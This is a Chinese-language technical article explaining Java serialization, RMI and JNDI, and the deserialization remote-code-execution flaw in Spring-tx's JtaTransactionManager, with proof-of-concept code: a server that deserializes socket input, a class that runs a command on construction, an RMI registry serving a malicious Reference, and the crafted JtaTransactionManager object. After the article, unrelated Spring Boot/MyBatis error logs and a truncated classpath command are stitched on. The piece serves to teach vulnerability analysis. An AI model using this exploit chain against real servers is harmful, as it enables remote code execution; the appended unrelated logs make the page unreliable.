【技术分享】SPRING-TX .jar反序列化

本文深入探讨Java序列化与反序列化机制,解析Spring-tx.jar中RCE漏洞原理,涉及RMI、JNDI及恶意payload构造过程。

阿里云幸运券

0x00 反序列化

之前对Java一直不太熟悉,不怎么接触Java安全,不了解Java中序列化与反序列化的一些机制,导致很多Java相关的RCE都看不懂,只知道拿来就用,想了想还是要深入了解一下比较好。

在PHP中我们可以通过serialize和unserialize来进行序列化相关的操作,到了Java的世界里,就没有这么直白的函数可以用了,相关的两个函数分别是:

序列化: ObjectOutputStream.writeObject()
反序列化: ObjectInputStream.readObject()
我们先来看一下最基本的序列化方式:

package me.lightless.base;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

/**
 * Package: me.lightless.base
 * Author: lightless <root@lightless.me>
 * Date: 2018/3/29
 */
public class Base {

    public static void main(String[] args) throws Exception {
        String hello = "Hello World!";

        // 序列化并写入文件payload.bin
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("payload.bin"));
        objectOutputStream.writeObject(hello);
        objectOutputStream.close();

        // 从文件payload.bin中读取数据并反序列化
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("payload.bin"));
        String value = (String)objectInputStream.readObject();
        objectInputStream.close();

        System.out.println("Read value from file: " + value);
    }
}

通过ObjectOutputStream和ObjectInputStream就可以完成最基础的序列化操作。如果想要序列化一个class,那么会稍微复杂一些,需要自己实现Serializable接口,只有实现了这个接口的类才能被序列化。来看一个简单的例子:

package me.lightless.base;

import java.io.*;

/**
 * Package: me.lightless.base
 * Author: lightless <root@lightless.me>
 * Date: 2018/3/29
 */
public class ClassBase {
    public static void main(String[] args) throws Exception {

        VulnObject vulnObject = new VulnObject();
        vulnObject.value = "new_value";

        // 序列化并写入文件payload.bin
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("payload.bin"));
        objectOutputStream.writeObject(vulnObject);
        objectOutputStream.close();

        // 从文件payload.bin中读取数据并反序列化
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("payload.bin"));
        VulnObject vulnObject2 = (VulnObject)objectInputStream.readObject();
        objectInputStream.close();

        System.out.println("value: " + vulnObject2.value);
    }
}


class VulnObject implements Serializable {
    String value;

//    private void readObject(ObjectInputStream objectInputStream) throws Exception {
//        objectInputStream.defaultReadObject();
//        System.out.println("This is new 'readObject' method!");
//    }
}

这个例子中,我们序列化了一个VulnObject类的对象,并且成功的反序列化了回来。这里我注释了一个重写的readObject方法,在编写自己的类的时候,可以通过重写readObject方法来实现在反序列化的时候进行一些特殊的操作。

更加深层的序列化相关的内容我们先姑且按下不表,后面在分析其他漏洞的时候再另行介绍,知道上面这些点就可以分析Spring-tx.jar中的漏洞了。

0x01 RMI AND JNDI
另外在开始分析Spring-tx.jar中的反序列化漏洞之前,我们还要简单的了解一下RMI和JNDI,Spring-tx.jar中的反序列化漏洞正是利用了这两个机制来实现的RCE,这两个机制都是为了分布式而服务的。

RMI(Remote Method Invocation),Java远程方法调用,有些类似RPC。相比之下RMI可以访问远程的对象,RPC则不可以,JNDI应用就可以获取到注册在RMI服务上的远程对象。

JNDI(Java Naming and Directory Interface),Java命名和目录接口,简单说就是提供了一组API,可以让我们通过一种统一的方式,便捷的调用各种命名和目录服务(例如LDAP)。

我们可以通过RMI协议来获取远程的对象,例如通过lookup方法来获取rmi://127.0.0.1:1099/EvilObject上的对象,这个时候程序就会去目标主机上的RMI服务尝试获取EvilObject这个对象。RMI服务可以通过返回一个Reference对象,让其去指定的codebase处获取对应类的字节码,而这个codebase甚至可以是HTTP协议:)

就如这个例子,如果RMI服务返回了javax.naming.Reference(“ExportObject”,“ExportObject”, factoryLocation)对象,那么程序就会尝试去factoryLocation处获取字节码,并且会自动加载然后执行该类的构造函数。

0x02 Spring-tx漏洞分析
Spring-tx是一个用于处理事务管理相关的包,根据漏洞描述,可以找到是org.springframework.transaction.jta.JtaTransactionManager这个类出现了问题。我们先看一下这个类的readObject方法。

可以看到,除了调用默认的readObject之外,还进行了一些额外的操作,那么漏洞就出现在这些额外的操作中。继续跟进initUserTransactionAndTransactionManager这个初始化的方法,可以找到调用了this.lookupUserTransaction(this.userTransactionName)。

再继续向下跟进,会发现调用了this.getJndiTemplate().lookup()方法,这个就是前文说到的lookup方法,可以通过这个方法来传入rmi://协议的参数来执行命令。

漏洞非常简单,我们来梳理一下调用流程:

readObject ->
initUserTransactionAndTransactionManager ->
lookupUserTransaction ->
lookup

最终lookup的参数userTransactionName是通过this.userTransactionName传入的,这个值我们可以在构建JtaTransactionManager类的时候来设置为任意值。

调用链有了,再来梳理一下利用流程:

发送恶意payload ->
Server端接到payload,访问恶意的RMI服务 ->
RMI访问HTTP服务获取poc类,返回给Server端 ->
Server端反序列化拿到的poc类,并且执行构造函数
接下来的事情就是编写PoC了,参考了一下zerothoughts在Github上给出的PoC。首先是服务端,开个socket接收数据并且反序列化即可。

// filename: server.java
import java.io.*;
import java.net.*;

public class ExploitableServer {
    public static void main(String[] args) {
        try {
            int port = 9999;
            ServerSocket serverSocket = new ServerSocket(port);
            System.out.println("Server started on port " + serverSocket.getLocalPort());
            while (true) {
                Socket socket = serverSocket.accept();
                System.out.println("Connection received from " + socket.getInetAddress());
                ObjectInputStream objectInputStream = new ObjectInputStream(socket.getInputStream());
                try {
                    Object object = objectInputStream.readObject();
                    System.out.println("Read object " + object);
                } catch (Exception e) {
                    System.out.println("Exception caught while reading object");
                    e.printStackTrace();
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

我们先来写一个恶意的POC类,负责执行命令。

public class POC {
    public POC() {
        try {
            System.out.println("POC start!");
            Runtime.getRuntime().exec("calc.exe");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

比较简单,不做过多说明了。下面来编写主要的PoC代码,首先我们需要在本地开启一个HTTPServer,负责输出POC类的字节码,由HttpFileHandler类实现:

HttpServer httpServer = HttpServer.create(new InetSocketAddress(8090), 0);
httpServer.createContext("/", new HttpFileHandler());
httpServer.setExecutor(null);
httpServer.start();

HttpFileHandler类的代码没有修改,可以参考原PoC。

第二步要开启RMI Registry供Server端来访问,并且与前面编写好的恶意POC类关联起来:

System.out.println("Creating RMI Registry");
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new javax.naming.Reference("POC", "POC", "http://127.0.0.1:8090/");
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference);
// rmi://127.0.0.1:1099/poc233
registry.bind("poc233", referenceWrapper);

接下来就是构造一个JtaTransactionManager类来实现我们的调用链完成反序列化的利用:

String jndiAddress = "rmi://127.0.0.1:1099/poc233";
org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager();
object.setUserTransactionName(jndiAddress);

最后要做的事情就是把构造好的JtaTransactionManager类的对象序列化并发送到Server端即可。

跑起来看下效果:

完整的代码这里就不占用篇幅了,感兴趣的同学可以到GitHub上自取。
腾讯云代金券

原文链接

https://mp.weixin.qq.com/s/930Nx7N6vrRzEJa17r6J1A

服务推荐

2025-05-12T18:20:15.336+08:00 ERROR 51840 --- [ main] o.m.spring.mapper.MapperFactoryBean : Error while adding the mapper 'interface com.xuetu.mapper.LearningResourceMapper' to configuration. org.apache.ibatis.builder.BuilderException: Error parsing Mapper XML. The XML location is 'com/xuetu/mapper/LearningResourceMapper.xml'. Cause: java.lang.IllegalStateException: No typehandler found for property interestTags at com.baomidou.mybatisplus.core.MybatisXMLMapperBuilder.configurationElement(MybatisXMLMapperBuilder.java:129) ~[mybatis-plus-core-3.5.7.jar:3.5.7] at com.baomidou.mybatisplus.core.MybatisXMLMapperBuilder.parse(MybatisXMLMapperBuilder.java:102) ~[mybatis-plus-core-3.5.7.jar:3.5.7] at com.baomidou.mybatisplus.core.MybatisMapperAnnotationBuilder.loadXmlResource(MybatisMapperAnnotationBuilder.java:153) ~[mybatis-plus-core-3.5.7.jar:3.5.7] at com.baomidou.mybatisplus.core.MybatisMapperAnnotationBuilder.parse(MybatisMapperAnnotationBuilder.java:91) ~[mybatis-plus-core-3.5.7.jar:3.5.7] at com.baomidou.mybatisplus.core.MybatisMapperRegistry.addMapper(MybatisMapperRegistry.java:90) ~[mybatis-plus-core-3.5.7.jar:3.5.7] at com.baomidou.mybatisplus.core.MybatisConfiguration.addMapper(MybatisConfiguration.java:129) ~[mybatis-plus-core-3.5.7.jar:3.5.7] at org.mybatis.spring.mapper.MapperFactoryBean.checkDaoConfig(MapperFactoryBean.java:76) ~[mybatis-spring-3.0.4.jar:3.0.4] at org.springframework.dao.support.DaoSupport.afterPropertiesSet(DaoSupport.java:44) ~[spring-tx-6.2.5.jar:6.2.5] at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.invokeInitMethods(AbstractAutowireCapableBeanFactory.java:1859) ~[spring-beans-6.2.5.jar:6.2.5] at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.initializeBean(AbstractAutowireCapableBeanFactory.java:1808) ~[spring-beans-6.2.5.jar:6.2.5] at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.doCreateBean(AbstractAutowireCapableBeanFactory.java:601) ~[spring-beans-6.2.5.jar:6.2.5] at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.createBean(AbstractAutowireCapableBeanFactory.java:523) ~[spring-beans-6.2.5.jar:6.2.5] at org.springframework.beans.factory.support.AbstractBeanFactory.lambda$doGetBean$0(AbstractBeanFactory.java:339) ~[spring-beans-6.2.5.jar:6.2.5] at org.springframework.beans.factory.support.DefaultSingletonBeanRegistry.getSingleton(DefaultSingletonBeanRegistry.java:347) ~[spring-beans-6.2.5.jar:6.2.5] at org.springframework.beans.factory.support.AbstractBeanFactory.doGetBean(AbstractBeanFactory.java:337) ~[spring-beans-6.2.5.jar:6.2.5] at org.springframework.beans.factory.support.AbstractBeanFactory.getBean(AbstractBeanFactory.java:202) ~[spring-beans-6.2.5.jar:6.2.5] at org.springframework.beans.factory.support.DefaultListableBeanFactory.doResolveDependency(DefaultListableBeanFactory.java:1609) ~[spring-beans-6.2.5.jar:6.2.5] at org.springframework.beans.factory.support.DefaultListableBeanFactory.resolveDependency(DefaultListableBeanFactory.java:1555) ~[spring-beans-6.2.5.jar:6.2.5] at org.springframework.beans.factory.annotation.AutowiredAnnotationBeanPostProcessor$AutowiredFieldElement.resolveFieldValue(AutowiredAnnotationBeanPostProcessor.java:785) ~[spring-beans-6.2.5.jar:6.2.5] at org.springframework.beans.factory.annotation.AutowiredAnnotationBeanPostProcessor$AutowiredFieldElement.inject(AutowiredAnnotationBeanPostProcessor.java:768) ~[spring-beans-6.2.5.jar:6.2.5] at org.springframework.beans.factory.annotation.InjectionMetadata.inject(InjectionMetadata.java:146) ~[spring-beans-6.2.5.jar:6.2.5] at org.springframework.beans.factory.annotation.AutowiredAnnotationBeanPostProcessor.postProcessProperties(AutowiredAnnotationBeanPostProcessor.java:509) ~[spring-beans-6.2.5.jar:6.2.5] at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.populateBean(AbstractAutowireCapableBeanFactory.java:1445) ~[spring-beans-6.2.5.jar:6.2.5] at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.doCreateBean(AbstractAutowireCapableBeanFactory.java:600) ~[spring-beans-6.2.5.jar:6.2.5] at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.createBean(AbstractAutowireCapableBeanFactory.java:523) ~[spring-beans-6.2.5.jar:6.2.5] at org.springframework.beans.factory.support.AbstractBeanFactory.lambda$doGetBean$0(AbstractBeanFactory.java:339) ~[spring-beans-6.2.5.jar:6.2.5] at org.springframework.beans.factory.support.DefaultSingletonBeanRegistry.getSingleton(DefaultSingletonBeanRegistry.java:347) ~[spring-beans-6.2.5.jar:6.2.5] at org.springframework.beans.factory.support.AbstractBeanFactory.doGetBean(AbstractBeanFactory.java:337) ~[spring-beans-6.2.5.jar:6.2.5] at org.springframework.beans.factory.support.AbstractBeanFactory.getBean(AbstractBeanFactory.java:202) ~[spring-beans-6.2.5.jar:6.2.5] at org.springframework.beans.factory.support.DefaultListableBeanFactory.instantiateSingleton(DefaultListableBeanFactory.java:1155) ~[spring-beans-6.2.5.jar:6.2.5] at org.springframework.beans.factory.support.DefaultListableBeanFactory.preInstantiateSingleton(DefaultListableBeanFactory.java:1121) ~[spring-beans-6.2.5.jar:6.2.5] at org.springframework.beans.factory.support.DefaultListableBeanFactory.preInstantiateSingletons(DefaultListableBeanFactory.java:1056) ~[spring-beans-6.2.5.jar:6.2.5] at org.springframework.context.support.AbstractApplicationContext.finishBeanFactoryInitialization(AbstractApplicationContext.java:987) ~[spring-context-6.2.5.jar:6.2.5] at org.springframework.context.support.AbstractApplicationContext.refresh(AbstractApplicationContext.java:627) ~[spring-context-6.2.5.jar:6.2.5] at org.springframework.boot.web.servlet.context.ServletWebServerApplicationContext.refresh(ServletWebServerApplicationContext.java:146) ~[spring-boot-3.4.4.jar:3.4.4] at org.springframework.boot.SpringApplication.refresh(SpringApplication.java:752) ~[spring-boot-3.4.4.jar:3.4.4] at org.springframework.boot.SpringApplication.refreshContext(SpringApplication.java:439) ~[spring-boot-3.4.4.jar:3.4.4] at org.springframework.boot.SpringApplication.run(SpringApplication.java:318) ~[spring-boot-3.4.4.jar:3.4.4] at org.springframework.boot.SpringApplication.run(SpringApplication.java:1361) ~[spring-boot-3.4.4.jar:3.4.4] at org.springframework.boot.SpringApplication.run(SpringApplication.java:1350) ~[spring-boot-3.4.4.jar:3.4.4] at com.xuetu.XuetuApplication.main(XuetuApplication.java:13) ~[classes/:na] Caused by: java.lang.IllegalStateException: No typehandler found for property interestTags at org.apache.ibatis.mapping.ResultMapping$Builder.validate(ResultMapping.java:153) ~[mybatis-3.5.17.jar:3.5.17] at org.apache.ibatis.mapping.ResultMapping$Builder.build(ResultMapping.java:140) ~[mybatis-3.5.17.jar:3.5.17] at com.baomidou.mybatisplus.core.MybatisMapperBuilderAssistant.buildResultMapping(MybatisMapperBuilderAssistant.java:81) ~[mybatis-plus-core-3.5.7.jar:3.5.7] at com.baomidou.mybatisplus.core.MybatisXMLMapperBuilder.buildResultMappingFromContext(MybatisXMLMapperBuilder.java:360) ~[mybatis-plus-core-3.5.7.jar:3.5.7] at com.baomidou.mybatisplus.core.MybatisXMLMapperBuilder.resultMapElement(MybatisXMLMapperBuilder.java:243) ~[mybatis-plus-core-3.5.7.jar:3.5.7] at com.baomidou.mybatisplus.core.MybatisXMLMapperBuilder.resultMapElement(MybatisXMLMapperBuilder.java:218) ~[mybatis-plus-core-3.5.7.jar:3.5.7] at com.baomidou.mybatisplus.core.MybatisXMLMapperBuilder.resultMapElements(MybatisXMLMapperBuilder.java:210) ~[mybatis-plus-core-3.5.7.jar:3.5.7] at com.baomidou.mybatisplus.core.MybatisXMLMapperBuilder.configurationElement(MybatisXMLMapperBuilder.java:125) ~[mybatis-plus-core-3.5.7.jar:3.5.7] ... 40 common frames omitted 2025-05-12T18:20:15.339+08:00 WARN 51840 --- [ main] ConfigServletWebServerApplicationContext : Exception encountered during context initialization - cancelling refresh attempt: org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'AStarPathServiceImpl': Unsatisfied dependency expressed through field 'learningResourceMapper': Error creating bean with name 'learningResourceMapper' defined in file [C:\Users\30424\Desktop\毕业设计\个性化学习路径规划系统\Xuetu1\Xuetu\target\classes\com\xuetu\mapper\LearningResourceMapper.class]: org.apache.ibatis.builder.BuilderException: Error parsing Mapper XML. The XML location is 'com/xuetu/mapper/LearningResourceMapper.xml'. Cause: java.lang.IllegalStateException: No typehandler found for property interestTags 2025-05-12T18:20:15.341+08:00 INFO 51840 --- [ main] o.apache.catalina.core.StandardService : Stopping service [Tomcat] 2025-05-12T18:20:15.350+08:00 INFO 51840 --- [ main] .s.b.a.l.ConditionEvaluationReportLogger : Error starting ApplicationContext. To display the condition evaluation report re-run your application with 'debug' enabled. 2025-05-12T18:20:15.370+08:00 ERROR 51840 --- [ main] o.s.boot.SpringApplication : Application run failed org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'AStarPathServiceImpl': Unsatisfied dependency expressed through field 'learningResourceMapper': Error creating bean with name 'learningResourceMapper' defined in file [C:\Users\30424\Desktop\毕业设计\个性化学习路径规划系统\Xuetu1\Xuetu\target\classes\com\xuetu\mapper\LearningResourceMapper.class]: org.apache.ibatis.builder.BuilderException: Error parsing Mapper XML. The XML location is 'com/xuetu/mapper/LearningResourceMapper.xml'. Cause: java.lang.IllegalStateException: No typehandler found for property interestTags at org.springframework.beans.factory.annotation.AutowiredAnnotationBeanPostProcessor$AutowiredFieldElement.resolveFieldValue(AutowiredAnnotationBeanPostProcessor.java:788) ~[spring-beans-6.2.5.jar:6.2.5] at org.springframework.beans.factory.annotation.AutowiredAnnotationBeanPostProcessor$AutowiredFieldElement.inject(AutowiredAnnotationBeanPostProcessor.java:768) ~[spring-beans-6.2.5.jar:6.2.5] at org.springframework.beans.factory.annotation.InjectionMetadata.inject(InjectionMetadata.java:146) ~[spring-beans-6.2.5.jar:6.2.5] at org.springframework.beans.factory.annotation.AutowiredAnnotationBeanPostProcessor.postProcessProperties(AutowiredAnnotationBeanPostProcessor.java:509) ~[spring-beans-6.2.5.jar:6.2.5] at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.populateBean(AbstractAutowireCapableBeanFactory.java:1445) ~[spring-beans-6.2.5.jar:6.2.5] at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.doCreateBean(AbstractAutowireCapableBeanFactory.java:600) ~[spring-beans-6.2.5.jar:6.2.5] at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.createBean(AbstractAutowireCapableBeanFactory.java:523) ~[spring-beans-6.2.5.jar:6.2.5] at org.springframework.beans.factory.support.AbstractBeanFactory.lambda$doGetBean$0(AbstractBeanFactory.java:339) ~[spring-beans-6.2.5.jar:6.2.5] at org.springframework.beans.factory.support.DefaultSingletonBeanRegistry.getSingleton(DefaultSingletonBeanRegistry.java:347) ~[spring-beans-6.2.5.jar:6.2.5] at org.springframework.beans.factory.support.AbstractBeanFactory.doGetBean(AbstractBeanFactory.java:337) ~[spring-beans-6.2.5.jar:6.2.5] at org.springframework.beans.factory.support.AbstractBeanFactory.getBean(AbstractBeanFactory.java:202) ~[spring-beans-6.2.5.jar:6.2.5] at org.springframework.beans.factory.support.DefaultListableBeanFactory.instantiateSingleton(DefaultListableBeanFactory.java:1155) ~[spring-beans-6.2.5.jar:6.2.5] at org.springframework.beans.factory.support.DefaultListableBeanFactory.preInstantiateSingleton(DefaultListableBeanFactory.java:1121) ~[spring-beans-6.2.5.jar:6.2.5] at org.springframework.beans.factory.support.DefaultListableBeanFactory.preInstantiateSingletons(DefaultListableBeanFactory.java:1056) ~[spring-beans-6.2.5.jar:6.2.5] at org.springframework.context.support.AbstractApplicationContext.finishBeanFactoryInitialization(AbstractApplicationContext.java:987) ~[spring-context-6.2.5.jar:6.2.5] at org.springframework.context.support.AbstractApplicationContext.refresh(AbstractApplicationContext.java:627) ~[spring-context-6.2.5.jar:6.2.5] at org.springframework.boot.web.servlet.context.ServletWebServerApplicationContext.refresh(ServletWebServerApplicationContext.java:146) ~[spring-boot-3.4.4.jar:3.4.4] at org.springframework.boot.SpringApplication.refresh(SpringApplication.java:752) ~[spring-boot-3.4.4.jar:3.4.4] at org.springframework.boot.SpringApplication.refreshContext(SpringApplication.java:439) ~[spring-boot-3.4.4.jar:3.4.4] at org.springframework.boot.SpringApplication.run(SpringApplication.java:318) ~[spring-boot-3.4.4.jar:3.4.4] at org.springframework.boot.SpringApplication.run(SpringApplication.java:1361) ~[spring-boot-3.4.4.jar:3.4.4] at org.springframework.boot.SpringApplication.run(SpringApplication.java:1350) ~[spring-boot-3.4.4.jar:3.4.4] at com.xuetu.XuetuApplication.main(XuetuApplication.java:13) ~[classes/:na] Caused by: org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'learningResourceMapper' defined in file [C:\Users\30424\Desktop\毕业设计\个性化学习路径规划系统\Xuetu1\Xuetu\target\classes\com\xuetu\mapper\LearningResourceMapper.class]: org.apache.ibatis.builder.BuilderException: Error parsing Mapper XML. The XML location is 'com/xuetu/mapper/LearningResourceMapper.xml'. Cause: java.lang.IllegalStateException: No typehandler found for property interestTags at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.initializeBean(AbstractAutowireCapableBeanFactory.java:1812) ~[spring-beans-6.2.5.jar:6.2.5] at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.doCreateBean(AbstractAutowireCapableBeanFactory.java:601) ~[spring-beans-6.2.5.jar:6.2.5] at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.createBean(AbstractAutowireCapableBeanFactory.java:523) ~[spring-beans-6.2.5.jar:6.2.5] at org.springframework.beans.factory.support.AbstractBeanFactory.lambda$doGetBean$0(AbstractBeanFactory.java:339) ~[spring-beans-6.2.5.jar:6.2.5] at org.springframework.beans.factory.support.DefaultSingletonBeanRegistry.getSingleton(DefaultSingletonBeanRegistry.java:347) ~[spring-beans-6.2.5.jar:6.2.5] at org.springframework.beans.factory.support.AbstractBeanFactory.doGetBean(AbstractBeanFactory.java:337) ~[spring-beans-6.2.5.jar:6.2.5] at org.springframework.beans.factory.support.AbstractBeanFactory.getBean(AbstractBeanFactory.java:202) ~[spring-beans-6.2.5.jar:6.2.5] at org.springframework.beans.factory.support.DefaultListableBeanFactory.doResolveDependency(DefaultListableBeanFactory.java:1609) ~[spring-beans-6.2.5.jar:6.2.5] at org.springframework.beans.factory.support.DefaultListableBeanFactory.resolveDependency(DefaultListableBeanFactory.java:1555) ~[spring-beans-6.2.5.jar:6.2.5] at org.springframework.beans.factory.annotation.AutowiredAnnotationBeanPostProcessor$AutowiredFieldElement.resolveFieldValue(AutowiredAnnotationBeanPostProcessor.java:785) ~[spring-beans-6.2.5.jar:6.2.5] ... 22 common frames omitted Caused by: java.lang.IllegalArgumentException: org.apache.ibatis.builder.BuilderException: Error parsing Mapper XML. The XML location is 'com/xuetu/mapper/LearningResourceMapper.xml'. Cause: java.lang.IllegalStateException: No typehandler found for property interestTags at org.mybatis.spring.mapper.MapperFactoryBean.checkDaoConfig(MapperFactoryBean.java:79) ~[mybatis-spring-3.0.4.jar:3.0.4] at org.springframework.dao.support.DaoSupport.afterPropertiesSet(DaoSupport.java:44) ~[spring-tx-6.2.5.jar:6.2.5] at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.invokeInitMethods(AbstractAutowireCapableBeanFactory.java:1859) ~[spring-beans-6.2.5.jar:6.2.5] at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.initializeBean(AbstractAutowireCapableBeanFactory.java:1808) ~[spring-beans-6.2.5.jar:6.2.5] ... 31 common frames omitted Caused by: org.apache.ibatis.builder.BuilderException: Error parsing Mapper XML. The XML location is 'com/xuetu/mapper/LearningResourceMapper.xml'. Cause: java.lang.IllegalStateException: No typehandler found for property interestTags at com.baomidou.mybatisplus.core.MybatisXMLMapperBuilder.configurationElement(MybatisXMLMapperBuilder.java:129) ~[mybatis-plus-core-3.5.7.jar:3.5.7] at com.baomidou.mybatisplus.core.MybatisXMLMapperBuilder.parse(MybatisXMLMapperBuilder.java:102) ~[mybatis-plus-core-3.5.7.jar:3.5.7] at com.baomidou.mybatisplus.core.MybatisMapperAnnotationBuilder.loadXmlResource(MybatisMapperAnnotationBuilder.java:153) ~[mybatis-plus-core-3.5.7.jar:3.5.7] at com.baomidou.mybatisplus.core.MybatisMapperAnnotationBuilder.parse(MybatisMapperAnnotationBuilder.java:91) ~[mybatis-plus-core-3.5.7.jar:3.5.7] at com.baomidou.mybatisplus.core.MybatisMapperRegistry.addMapper(MybatisMapperRegistry.java:90) ~[mybatis-plus-core-3.5.7.jar:3.5.7] at com.baomidou.mybatisplus.core.MybatisConfiguration.addMapper(MybatisConfiguration.java:129) ~[mybatis-plus-core-3.5.7.jar:3.5.7] at org.mybatis.spring.mapper.MapperFactoryBean.checkDaoConfig(MapperFactoryBean.java:76) ~[mybatis-spring-3.0.4.jar:3.0.4] ... 34 common frames omitted Caused by: java.lang.IllegalStateException: No typehandler found for property interestTags at org.apache.ibatis.mapping.ResultMapping$Builder.validate(ResultMapping.java:153) ~[mybatis-3.5.17.jar:3.5.17] at org.apache.ibatis.mapping.ResultMapping$Builder.build(ResultMapping.java:140) ~[mybatis-3.5.17.jar:3.5.17] at com.baomidou.mybatisplus.core.MybatisMapperBuilderAssistant.buildResultMapping(MybatisMapperBuilderAssistant.java:81) ~[mybatis-plus-core-3.5.7.jar:3.5.7] at com.baomidou.mybatisplus.core.MybatisXMLMapperBuilder.buildResultMappingFromContext(MybatisXMLMapperBuilder.java:360) ~[mybatis-plus-core-3.5.7.jar:3.5.7] at com.baomidou.mybatisplus.core.MybatisXMLMapperBuilder.resultMapElement(MybatisXMLMapperBuilder.java:243) ~[mybatis-plus-core-3.5.7.jar:3.5.7] at com.baomidou.mybatisplus.core.MybatisXMLMapperBuilder.resultMapElement(MybatisXMLMapperBuilder.java:218) ~[mybatis-plus-core-3.5.7.jar:3.5.7] at com.baomidou.mybatisplus.core.MybatisXMLMapperBuilder.resultMapElements(MybatisXMLMapperBuilder.java:210) ~[mybatis-plus-core-3.5.7.jar:3.5.7] at com.baomidou.mybatisplus.core.MybatisXMLMapperBuilder.configurationElement(MybatisXMLMapperBuilder.java:125) ~[mybatis-plus-core-3.5.7.jar:3.5.7] ... 40 common frames omitted
05-13
D:\java\openlogic-openjdk-8u362-b09-windows-64\openlogic-openjdk-8u362-b09-windows-64\bin\java.exe "-javaagent:D:\Program Files\JetBrains\IntelliJ IDEA 2024.3.6\lib\idea_rt.jar=59333" -Dfile.encoding=UTF-8 -classpath "D:\java\openlogic-openjdk-8u362-b09-windows-64\openlogic-openjdk-8u362-b09-windows-64\jre\lib\charsets.jar;D:\java\openlogic-openjdk-8u362-b09-windows-64\openlogic-openjdk-8u362-b09-windows-64\jre\lib\ext\access-bridge-64.jar;D:\java\openlogic-openjdk-8u362-b09-windows-64\openlogic-openjdk-8u362-b09-windows-64\jre\lib\ext\cldrdata.jar;D:\java\openlogic-openjdk-8u362-b09-windows-64\openlogic-openjdk-8u362-b09-windows-64\jre\lib\ext\dnsns.jar;D:\java\openlogic-openjdk-8u362-b09-windows-64\openlogic-openjdk-8u362-b09-windows-64\jre\lib\ext\jaccess.jar;D:\java\openlogic-openjdk-8u362-b09-windows-64\openlogic-openjdk-8u362-b09-windows-64\jre\lib\ext\jfxrt.jar;D:\java\openlogic-openjdk-8u362-b09-windows-64\openlogic-openjdk-8u362-b09-windows-64\jre\lib\ext\localedata.jar;D:\java\openlogic-openjdk-8u362-b09-windows-64\openlogic-openjdk-8u362-b09-windows-64\jre\lib\ext\nashorn.jar;D:\java\openlogic-openjdk-8u362-b09-windows-64\openlogic-openjdk-8u362-b09-windows-64\jre\lib\ext\sunec.jar;D:\java\openlogic-openjdk-8u362-b09-windows-64\openlogic-openjdk-8u362-b09-windows-64\jre\lib\ext\sunjce_provider.jar;D:\java\openlogic-openjdk-8u362-b09-windows-64\openlogic-openjdk-8u362-b09-windows-64\jre\lib\ext\sunmscapi.jar;D:\java\openlogic-openjdk-8u362-b09-windows-64\openlogic-openjdk-8u362-b09-windows-64\jre\lib\ext\sunpkcs11.jar;D:\java\openlogic-openjdk-8u362-b09-windows-64\openlogic-openjdk-8u362-b09-windows-64\jre\lib\ext\zipfs.jar;D:\java\openlogic-openjdk-8u362-b09-windows-64\openlogic-openjdk-8u362-b09-windows-64\jre\lib\jce.jar;D:\java\openlogic-openjdk-8u362-b09-windows-64\openlogic-openjdk-8u362-b09-windows-64\jre\lib\jfr.jar;D:\java\openlogic-openjdk-8u362-b09-windows-64\openlogic-openjdk-8u362-b09-windows-64\jre\lib\jfxswt.jar;D:\java\openlogic-openjdk-8u362-b09-windows-64\openlogic-openjdk-8u362-b09-windows-64\jre\lib\jsse.jar;D:\java\openlogic-openjdk-8u362-b09-windows-64\openlogic-openjdk-8u362-b09-windows-64\jre\lib\management-agent.jar;D:\java\openlogic-openjdk-8u362-b09-windows-64\openlogic-openjdk-8u362-b09-windows-64\jre\lib\resources.jar;D:\java\openlogic-openjdk-8u362-b09-windows-64\openlogic-openjdk-8u362-b09-windows-64\jre\lib\rt.jar;F:\lee\work\basic-spring-boot\target\classes;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\org\springframework\boot\spring-boot-starter-validation\2.7.18\spring-boot-starter-validation-2.7.18.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\org\springframework\boot\spring-boot-starter\2.7.18\spring-boot-starter-2.7.18.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\org\springframework\boot\spring-boot\2.7.18\spring-boot-2.7.18.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\org\springframework\boot\spring-boot-autoconfigure\2.7.18\spring-boot-autoconfigure-2.7.18.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\org\springframework\boot\spring-boot-starter-logging\2.7.18\spring-boot-starter-logging-2.7.18.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\ch\qos\logback\logback-classic\1.2.12\logback-classic-1.2.12.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\ch\qos\logback\logback-core\1.2.12\logback-core-1.2.12.jar;D:\Program 